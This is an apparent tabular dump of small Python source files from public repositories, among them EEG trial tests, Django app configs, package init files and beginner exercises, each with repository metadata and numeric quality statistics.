| 451
| 20
| 53
| 22.55
| 0.763926
| 0
| 0
| 0.166667
| 0
| 0
| 0.044346
| 0
| 0
| 0
| 0
| 0
| 0.166667
| 1
| 0.333333
| true
| 0
| 0.166667
| 0
| 0.5
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
85c69b01633a295781c91f7bc1276bb79406dc44
| 3,548
|
py
|
Python
|
tests/test_synchronized_eeg_trial.py
|
PyENE/eega
|
043ee319d4563d4e281af4c5ad93166f02579572
|
[
"MIT"
] | 1
|
2018-10-09T06:56:18.000Z
|
2018-10-09T06:56:18.000Z
|
tests/test_synchronized_eeg_trial.py
|
PyENE/eega
|
043ee319d4563d4e281af4c5ad93166f02579572
|
[
"MIT"
] | null | null | null |
tests/test_synchronized_eeg_trial.py
|
PyENE/eega
|
043ee319d4563d4e281af4c5ad93166f02579572
|
[
"MIT"
] | null | null | null |
# -*- coding: utf-8 -*-
__author__ = 'Brice Olivier'
import mne
import os
import scipy.io
from sea import SynchronizedEEGTrial
from sea.config import DATA_PATH
import pandas as pd
import pytest
@pytest.fixture(scope="module")
def synchronized_eeg_trial_init():
eeg_data = scipy.io.loadmat(os.path.join(DATA_PATH, 's01_sample.mat'),
squeeze_me=True, struct_as_record=False)['EEG']
em_data = pd.read_csv(os.path.join(DATA_PATH, 's01_sample.csv'))
channel_info = mne.io.read_epochs_eeglab(os.path.join(DATA_PATH, 'synchro_s01_test.set'), verbose='CRITICAL').info
return SynchronizedEEGTrial(eeg_data, em_data, 's01', 'chasse_oiseaux-f1', channel_info)
def test_synchronized_eeg_new(synchronized_eeg_trial_init):
assert synchronized_eeg_trial_init.subject_name == 's01'
assert synchronized_eeg_trial_init.text_name == 'chasse_oiseaux-f1'
def test_get_channel_id(synchronized_eeg_trial_init):
assert synchronized_eeg_trial_init.get_channel_id('Fp1') == 0
def test_get_time_index(synchronized_eeg_trial_init):
assert synchronized_eeg_trial_init.get_time_index(0) == 188
def test_get_fixations_event_id(synchronized_eeg_trial_init):
assert synchronized_eeg_trial_init.em_trial.shape[0] == len(synchronized_eeg_trial_init.get_fixations_event_id())
def test_get_first_fixation_time(synchronized_eeg_trial_init):
assert synchronized_eeg_trial_init.get_first_fixation_time() == 194
def test_get_last_fixation_time(synchronized_eeg_trial_init):
assert synchronized_eeg_trial_init.get_last_fixation_time() == 4365
def test_get_first_fixation_time_id(synchronized_eeg_trial_init):
assert synchronized_eeg_trial_init.get_first_fixation_time_id() == 382
def test_get_last_fixation_time_id(synchronized_eeg_trial_init):
assert synchronized_eeg_trial_init.get_last_fixation_time_id() == 4553
def test_get_em_epoch_start_time(synchronized_eeg_trial_init):
assert synchronized_eeg_trial_init.get_em_epoch_start_time() == 194
def test_get_em_epoch_end_time(synchronized_eeg_trial_init):
assert synchronized_eeg_trial_init.get_em_epoch_end_time() == 4365
def test_is_eeg_epoch_truncated(synchronized_eeg_trial_init):
assert synchronized_eeg_trial_init.is_eeg_epoch_truncated() == False
def test_get_fixations_time(synchronized_eeg_trial_init):
assert len(synchronized_eeg_trial_init.get_fixations_time()) == synchronized_eeg_trial_init.em_trial.shape[0]
def test_get_fixed_words(synchronized_eeg_trial_init):
assert len(synchronized_eeg_trial_init.get_fixed_words()) == synchronized_eeg_trial_init.em_trial.shape[0]
def test_plot_activity(synchronized_eeg_trial_init):
synchronized_eeg_trial_init.plot_activity('Fp1')
def test_compute_epoch_phases(synchronized_eeg_trial_init):
assert synchronized_eeg_trial_init.compute_epoch_phases() == [(194, 889, 0), (889, 2213, 1), (2213, 4365, 3)]
assert synchronized_eeg_trial_init.compute_epoch_phases(from_zero=True) == [(0, 695, 0), (695, 2019, 1), (2019, 4171, 3)]
def test_compute_modwt(synchronized_eeg_trial_init):
assert synchronized_eeg_trial_init.compute_modwt().shape == (875910, 7)
assert synchronized_eeg_trial_init.compute_modwt(standardize_trial=0).shape == (875910, 7)
assert synchronized_eeg_trial_init.compute_modwt(standardize_trial=1).shape == (875910, 7)
assert synchronized_eeg_trial_init.compute_modwt(standardize_trial=2).shape == (875910, 7)
assert synchronized_eeg_trial_init.compute_modwt(standardize_trial=3).shape == (875910, 7)
| 39.422222
| 125
| 0.807215
| 527
| 3,548
| 4.929791
| 0.195446
| 0.248268
| 0.323326
| 0.387991
| 0.680523
| 0.635874
| 0.613549
| 0.555812
| 0.528099
| 0.486528
| 0
| 0.04049
| 0.102029
| 3,548
| 89
| 126
| 39.865169
| 0.774953
| 0.005919
| 0
| 0
| 0
| 0
| 0.035177
| 0
| 0
| 0
| 0
| 0
| 0.396226
| 1
| 0.320755
| false
| 0
| 0.132075
| 0
| 0.471698
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
a418516da0ed4bbfaf6328971e7d0880b590bffc
| 87
|
py
|
Python
|
lib/WebOb-1.2.2/docs/jsonrpc-example-code/test_jsonrpc.py
|
AniX/webapp-improved
|
a6bd7d4a98642ce0f708e7d53c66f70f168d02f6
|
[
"Apache-2.0"
] | 15
|
2015-01-18T17:30:31.000Z
|
2019-10-25T17:14:41.000Z
|
lib/WebOb-1.2.2/docs/jsonrpc-example-code/test_jsonrpc.py
|
AniX/webapp-improved
|
a6bd7d4a98642ce0f708e7d53c66f70f168d02f6
|
[
"Apache-2.0"
] | 1
|
2015-09-30T03:15:36.000Z
|
2015-09-30T03:15:36.000Z
|
lib/WebOb-1.2.2/docs/jsonrpc-example-code/test_jsonrpc.py
|
AniX/webapp-improved
|
a6bd7d4a98642ce0f708e7d53c66f70f168d02f6
|
[
"Apache-2.0"
] | 2
|
2015-06-17T23:01:13.000Z
|
2015-07-08T23:10:19.000Z
|
if __name__ == '__main__':
import doctest
doctest.testfile('test_jsonrpc.txt')
| 21.75
| 40
| 0.701149
| 10
| 87
| 5.2
| 0.9
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.172414
| 87
| 3
| 41
| 29
| 0.722222
| 0
| 0
| 0
| 0
| 0
| 0.275862
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.333333
| 0
| 0.333333
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
a42d1ca11311e118725fc8bd5027265a2befb70e
| 288
|
py
|
Python
|
src/__init__.py
|
esphas/cmd-caller
|
1dd09abd5c38c6cce3b84eb2c0d32aad59b85622
|
[
"MIT"
] | 2
|
2017-06-02T04:22:16.000Z
|
2018-09-29T14:28:46.000Z
|
src/__init__.py
|
esphas/cmd-caller
|
1dd09abd5c38c6cce3b84eb2c0d32aad59b85622
|
[
"MIT"
] | 2
|
2017-06-06T07:01:47.000Z
|
2017-06-06T09:26:41.000Z
|
src/__init__.py
|
esphas/cmd-caller
|
1dd09abd5c38c6cce3b84eb2c0d32aad59b85622
|
[
"MIT"
] | 2
|
2018-11-22T05:37:41.000Z
|
2019-05-17T18:49:34.000Z
|
# Cmd Caller
from .support import (
log,
CmdCallerLoadLogsCommand, CmdCallerLoadLastLogsCommand)
from .commands import (
AppendTextCommand,
CmdCallerDefaultCommand, CmdCallerListCommand)
from .settings import (
CmdCallerEditSettingsCommand, CmdCallerEditKeyBindingsCommand)
| 20.571429
| 64
| 0.819444
| 19
| 288
| 12.421053
| 0.789474
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.128472
| 288
| 13
| 65
| 22.153846
| 0.940239
| 0.034722
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.375
| 0
| 0.375
| 0
| 1
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
a4339f3872e75a5bde023086d8049328370bfa96
| 219
|
py
|
Python
|
src/annotate/__init__.py
|
karpierz/annotate
|
11b9289d89e876ba9d05411df9e9877a6e72edfd
|
[
"Zlib"
] | 2
|
2019-04-02T10:22:34.000Z
|
2020-04-06T05:09:14.000Z
|
src/annotate/__init__.py
|
karpierz/annotate
|
11b9289d89e876ba9d05411df9e9877a6e72edfd
|
[
"Zlib"
] | null | null | null |
src/annotate/__init__.py
|
karpierz/annotate
|
11b9289d89e876ba9d05411df9e9877a6e72edfd
|
[
"Zlib"
] | null | null | null |
# Copyright (c) 2012-2022 Adam Karpierz
# Licensed under the zlib/libpng License
# https://opensource.org/licenses/Zlib
from .__about__ import * ; del __about__ # noqa
from ._annotate import * ; del _annotate # noqa
| 31.285714
| 48
| 0.744292
| 29
| 219
| 5.275862
| 0.758621
| 0.117647
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.043478
| 0.159817
| 219
| 6
| 49
| 36.5
| 0.788043
| 0.561644
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
a463d5401465f3201909989081b26e68e00bfe75
| 92
|
py
|
Python
|
backend/program/admin.py
|
LloydTao/Hackathon-NASA-2020-II
|
6617f2dd3bafe1ccf5f086090c4fb92cae69012c
|
[
"MIT"
] | null | null | null |
backend/program/admin.py
|
LloydTao/Hackathon-NASA-2020-II
|
6617f2dd3bafe1ccf5f086090c4fb92cae69012c
|
[
"MIT"
] | 1
|
2020-10-03T08:24:12.000Z
|
2020-10-03T08:24:12.000Z
|
backend/program/admin.py
|
LloydTao/Hackathon-NASA-2020-II
|
6617f2dd3bafe1ccf5f086090c4fb92cae69012c
|
[
"MIT"
] | 1
|
2020-10-04T11:07:12.000Z
|
2020-10-04T11:07:12.000Z
|
from django.contrib import admin
from .models import Program
admin.site.register(Program)
| 15.333333
| 32
| 0.815217
| 13
| 92
| 5.769231
| 0.692308
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.119565
| 92
| 5
| 33
| 18.4
| 0.925926
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.666667
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
a47a44220d9d80bfe113ff2bd1ce2e57887e82fe
| 166
|
py
|
Python
|
URI-1003_Soma_Simples.py
|
CavanhaMan/Cavanha-URI
|
b08290f6312dcb2f7997581d7416f3b5d31d2153
|
[
"MIT"
] | 28
|
2018-06-16T03:21:46.000Z
|
2022-03-05T17:48:39.000Z
|
URI-1003_Soma_Simples.py
|
CavanhaMan/Cavanha-URI
|
b08290f6312dcb2f7997581d7416f3b5d31d2153
|
[
"MIT"
] | null | null | null |
URI-1003_Soma_Simples.py
|
CavanhaMan/Cavanha-URI
|
b08290f6312dcb2f7997581d7416f3b5d31d2153
|
[
"MIT"
] | 18
|
2018-07-20T12:36:54.000Z
|
2022-02-09T19:00:57.000Z
|
/*-------------------*
| Rodrigo CavanhaMan |
| URI 1003 |
| Soma Simples |
*--------------------*/
A = input()
B = input()
print("SOMA = " +str(A+B))
| 20.75
| 26
| 0.36747
| 15
| 166
| 4.066667
| 0.733333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.031496
| 0.23494
| 166
| 8
| 26
| 20.75
| 0.448819
| 0
| 0
| 0
| 0
| 0
| 0.041916
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0
| null | null | 0.125
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
f101ee07ea019d430777a36ed141dd7200a61607
| 110
|
py
|
Python
|
backend/atlas/__init__.py
|
getsentry/atlas
|
9bf4a236b99a24a7a17700591a0ff94feecf7ce7
|
[
"Apache-2.0"
] | 18
|
2019-09-24T23:49:41.000Z
|
2020-11-14T17:30:27.000Z
|
backend/atlas/__init__.py
|
getsentry/atlas
|
9bf4a236b99a24a7a17700591a0ff94feecf7ce7
|
[
"Apache-2.0"
] | 53
|
2019-09-24T18:50:25.000Z
|
2022-02-27T11:44:55.000Z
|
backend/atlas/__init__.py
|
getsentry/atlas
|
9bf4a236b99a24a7a17700591a0ff94feecf7ce7
|
[
"Apache-2.0"
] | 2
|
2020-02-03T08:22:36.000Z
|
2021-02-28T12:55:48.000Z
|
__all__ = ("celery_app",)
from .celery import app as celery_app
default_app_config = "atlas.apps.AppConfig"
| 18.333333
| 43
| 0.763636
| 16
| 110
| 4.75
| 0.6875
| 0.236842
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.127273
| 110
| 5
| 44
| 22
| 0.791667
| 0
| 0
| 0
| 0
| 0
| 0.272727
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.333333
| 0
| 0.333333
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
f13fa8af684cbcf8cc9ad8dd822977b5e33d71be
| 132
|
py
|
Python
|
ceres/__main__.py
|
laulin/ceres
|
b405201ba443e80f9fef26c3ede029b3595a65c4
|
[
"Apache-2.0"
] | null | null | null |
ceres/__main__.py
|
laulin/ceres
|
b405201ba443e80f9fef26c3ede029b3595a65c4
|
[
"Apache-2.0"
] | null | null | null |
ceres/__main__.py
|
laulin/ceres
|
b405201ba443e80f9fef26c3ede029b3595a65c4
|
[
"Apache-2.0"
] | null | null | null |
import sys
from .builder import Builder
pwd = sys.argv[1]
if __name__ == "__main__":
builder = Builder(pwd)
builder.run()
| 14.666667
| 28
| 0.674242
| 18
| 132
| 4.5
| 0.611111
| 0.246914
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.009524
| 0.204545
| 132
| 9
| 29
| 14.666667
| 0.761905
| 0
| 0
| 0
| 0
| 0
| 0.06015
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.333333
| 0
| 0.333333
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
f14322c086eb3c97394bb177dfd79fb2ad77b152
| 194
|
py
|
Python
|
homework_02/test.py
|
GalliyRazotto/05-2021_Homeworks
|
f6700f73d46694ac130fd707b94f0bde8902de63
|
[
"Unlicense"
] | null | null | null |
homework_02/test.py
|
GalliyRazotto/05-2021_Homeworks
|
f6700f73d46694ac130fd707b94f0bde8902de63
|
[
"Unlicense"
] | null | null | null |
homework_02/test.py
|
GalliyRazotto/05-2021_Homeworks
|
f6700f73d46694ac130fd707b94f0bde8902de63
|
[
"Unlicense"
] | null | null | null |
class Base:
def __init__(self, x=0):
self.x = x
class Slave(Base):
def __init__(self, x):
super(Slave, self).__init__()
self.x = x
s1 = Slave(x=2)
print(s1.x)
| 14.923077
| 37
| 0.551546
| 31
| 194
| 3.064516
| 0.387097
| 0.210526
| 0.284211
| 0.315789
| 0.336842
| 0
| 0
| 0
| 0
| 0
| 0
| 0.029197
| 0.293814
| 194
| 13
| 38
| 14.923077
| 0.664234
| 0
| 0
| 0.222222
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.222222
| false
| 0
| 0
| 0
| 0.444444
| 0.111111
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
f14b851a9f65eff55ad164b8906149d6c6ac5819
| 91
|
py
|
Python
|
djnic/dominios/apps.py
|
avdata99/nic
|
70399bd78fd2b4b496d338e7959867ad12cdf477
|
[
"MIT"
] | 8
|
2021-05-01T13:03:22.000Z
|
2021-12-17T21:50:04.000Z
|
djnic/dominios/apps.py
|
avdata99/nic
|
70399bd78fd2b4b496d338e7959867ad12cdf477
|
[
"MIT"
] | 16
|
2020-11-20T23:18:22.000Z
|
2021-04-08T20:09:35.000Z
|
djnic/dominios/apps.py
|
OpenDataCordoba/nic
|
f9528856e13d106bdfb476cab1236bc5b8a92183
|
[
"MIT"
] | null | null | null |
from django.apps import AppConfig
class DominiosConfig(AppConfig):
name = 'dominios'
| 15.166667
| 33
| 0.758242
| 10
| 91
| 6.9
| 0.9
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.164835
| 91
| 5
| 34
| 18.2
| 0.907895
| 0
| 0
| 0
| 0
| 0
| 0.087912
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.333333
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
f14c7a4226c3b3f131723626c6b130d25b45aed4
| 325
|
py
|
Python
|
block_chain/utils/check_hash.py
|
Jh123x/Block-Chain
|
a8b076141130bf543f29052275bd608951964f85
|
[
"MIT"
] | null | null | null |
block_chain/utils/check_hash.py
|
Jh123x/Block-Chain
|
a8b076141130bf543f29052275bd608951964f85
|
[
"MIT"
] | null | null | null |
block_chain/utils/check_hash.py
|
Jh123x/Block-Chain
|
a8b076141130bf543f29052275bd608951964f85
|
[
"MIT"
] | null | null | null |
"""Checks if the hash is on the child is the same as the parent"""
from block_chain.core.hash_chain_node import HashChainNode
def check_hash(parent: HashChainNode, child: HashChainNode) -> bool:
"""Check the hash of the child matches the parents hash"""
return hash(parent.get_stored_value()) == child.parent_hash
| 36.111111
| 68
| 0.753846
| 50
| 325
| 4.76
| 0.54
| 0.058824
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.153846
| 325
| 8
| 69
| 40.625
| 0.865455
| 0.347692
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| false
| 0
| 0.333333
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
f1660bcbca5aadf313d7a3371f0f451d48b3ae16
| 53
|
py
|
Python
|
services/core-api/app/api/mines/mine/models/__init__.py
|
bcgov/mds
|
6c427a66a5edb4196222607291adef8fd6677038
|
[
"Apache-2.0"
] | 25
|
2018-07-09T19:04:37.000Z
|
2022-03-15T17:27:10.000Z
|
services/core-api/app/api/mines/mine/models/__init__.py
|
areyeslo/mds
|
e8c38e593e09b78e2a57009c0d003d6c4bfa32e6
|
[
"Apache-2.0"
] | 983
|
2018-04-25T20:08:07.000Z
|
2022-03-31T21:45:20.000Z
|
services/core-api/app/api/mines/mine/models/__init__.py
|
areyeslo/mds
|
e8c38e593e09b78e2a57009c0d003d6c4bfa32e6
|
[
"Apache-2.0"
] | 58
|
2018-05-15T22:35:50.000Z
|
2021-11-29T19:40:52.000Z
|
from .excemption_fee_status import ExemptionFeeStatus
| 53
| 53
| 0.924528
| 6
| 53
| 7.833333
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.056604
| 53
| 1
| 53
| 53
| 0.94
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
f183dad8c1f1ee106bef71cec07903f2131922ef
| 186
|
py
|
Python
|
quetz/__init__.py
|
maresb/quetz
|
55313ca9c2ae04577d23a1dddb38c045b4a056f4
|
[
"BSD-3-Clause"
] | 108
|
2020-09-16T16:15:01.000Z
|
2022-03-29T02:49:31.000Z
|
quetz/__init__.py
|
maresb/quetz
|
55313ca9c2ae04577d23a1dddb38c045b4a056f4
|
[
"BSD-3-Clause"
] | 317
|
2020-09-07T18:37:33.000Z
|
2022-03-25T13:10:41.000Z
|
quetz/__init__.py
|
LaudateCorpus1/quetz
|
339018ee3c35ae6700bea611d16a9924a33a0606
|
[
"BSD-3-Clause"
] | 36
|
2020-09-07T22:01:27.000Z
|
2022-03-26T17:06:07.000Z
|
# Copyright 2020 QuantStack
# Distributed under the terms of the Modified BSD License.
try:
import pluggy
hookimpl = pluggy.HookimplMarker("quetz")
except ImportError:
pass
| 20.666667
| 58
| 0.747312
| 22
| 186
| 6.318182
| 0.909091
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.026667
| 0.193548
| 186
| 8
| 59
| 23.25
| 0.9
| 0.44086
| 0
| 0
| 0
| 0
| 0.049505
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0.2
| 0.4
| 0
| 0.4
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
|
0
| 4
|
74b18b3716db30104636226997d7ad7d0c2ea6e2
| 312
|
py
|
Python
|
basiclive/core/publications/management/commands/fetch_depositions.py
|
znarthur/basic-live
|
79c194311de05af2e1bb21d1bc8c6c14dda356d0
|
[
"BSD-3-Clause"
] | null | null | null |
basiclive/core/publications/management/commands/fetch_depositions.py
|
znarthur/basic-live
|
79c194311de05af2e1bb21d1bc8c6c14dda356d0
|
[
"BSD-3-Clause"
] | 1
|
2020-12-03T15:27:09.000Z
|
2020-12-03T15:27:09.000Z
|
basiclive/core/publications/management/commands/fetch_depositions.py
|
znarthur/basic-live
|
79c194311de05af2e1bb21d1bc8c6c14dda356d0
|
[
"BSD-3-Clause"
] | 1
|
2021-09-28T21:06:09.000Z
|
2021-09-28T21:06:09.000Z
|
from django.core.management.base import BaseCommand
from basiclive.core.publications.utils import fetch_and_update_depositions
class Command(BaseCommand):
help = 'Fetches PDB depositions from source defined in PDB_SEARCH_URL'
def handle(self, *args, **options):
fetch_and_update_depositions()
| 31.2
| 74
| 0.788462
| 40
| 312
| 5.95
| 0.725
| 0.067227
| 0.117647
| 0.210084
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.141026
| 312
| 9
| 75
| 34.666667
| 0.88806
| 0
| 0
| 0
| 0
| 0
| 0.195513
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.166667
| false
| 0
| 0.333333
| 0
| 0.833333
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
74b2fc6309be622a26dd8e8410e2d0cd9e86f94a
| 160
|
py
|
Python
|
appserver/instance/forms.py
|
sinag/SWE574-Horuscope
|
9725dd356cbfd19f0ce88d4a208c872be765bd88
|
[
"MIT"
] | null | null | null |
appserver/instance/forms.py
|
sinag/SWE574-Horuscope
|
9725dd356cbfd19f0ce88d4a208c872be765bd88
|
[
"MIT"
] | null | null | null |
appserver/instance/forms.py
|
sinag/SWE574-Horuscope
|
9725dd356cbfd19f0ce88d4a208c872be765bd88
|
[
"MIT"
] | 1
|
2020-08-07T12:54:51.000Z
|
2020-08-07T12:54:51.000Z
|
from django import forms
class DynamicPost(forms.Form):
def __init__(self, *args, **kwargs):
super(DynamicPost, self).__init__(*args, **kwargs)
| 17.777778
| 58
| 0.68125
| 19
| 160
| 5.315789
| 0.684211
| 0.19802
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.18125
| 160
| 8
| 59
| 20
| 0.770992
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| false
| 0
| 0.25
| 0
| 0.75
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 4
|
74b3d5a37f20b088a7588ec0fd7914314eec7a47
| 68
|
py
|
Python
|
appicongen/__main__.py
|
fwcd/appicongen
|
6bb4e21d5c6636c42d002bf9d516654645ff0874
|
[
"MIT"
] | null | null | null |
appicongen/__main__.py
|
fwcd/appicongen
|
6bb4e21d5c6636c42d002bf9d516654645ff0874
|
[
"MIT"
] | null | null | null |
appicongen/__main__.py
|
fwcd/appicongen
|
6bb4e21d5c6636c42d002bf9d516654645ff0874
|
[
"MIT"
] | null | null | null |
import appicongen
if __name__ == '__main__':
appicongen.main()
| 13.6
| 26
| 0.705882
| 7
| 68
| 5.714286
| 0.714286
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.176471
| 68
| 4
| 27
| 17
| 0.714286
| 0
| 0
| 0
| 0
| 0
| 0.117647
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.333333
| 0
| 0.333333
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
2d24b7d8f004ef3add7f11376d58617be9cb2406
| 89
|
py
|
Python
|
list_ex1_fruit.py
|
gsandoval49/stp
|
b56e778101d29732adc4629e101cccf290dcb9e9
|
[
"Apache-2.0"
] | null | null | null |
list_ex1_fruit.py
|
gsandoval49/stp
|
b56e778101d29732adc4629e101cccf290dcb9e9
|
[
"Apache-2.0"
] | null | null | null |
list_ex1_fruit.py
|
gsandoval49/stp
|
b56e778101d29732adc4629e101cccf290dcb9e9
|
[
"Apache-2.0"
] | null | null | null |
fruit = ["apple", "banana", "peach"]
fruit
# outputs
# >>> ['apple', 'banana', 'peach']
| 14.833333
| 36
| 0.550562
| 9
| 89
| 5.444444
| 0.555556
| 0.44898
| 0.653061
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.157303
| 89
| 5
| 37
| 17.8
| 0.653333
| 0.449438
| 0
| 0
| 0
| 0
| 0.347826
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
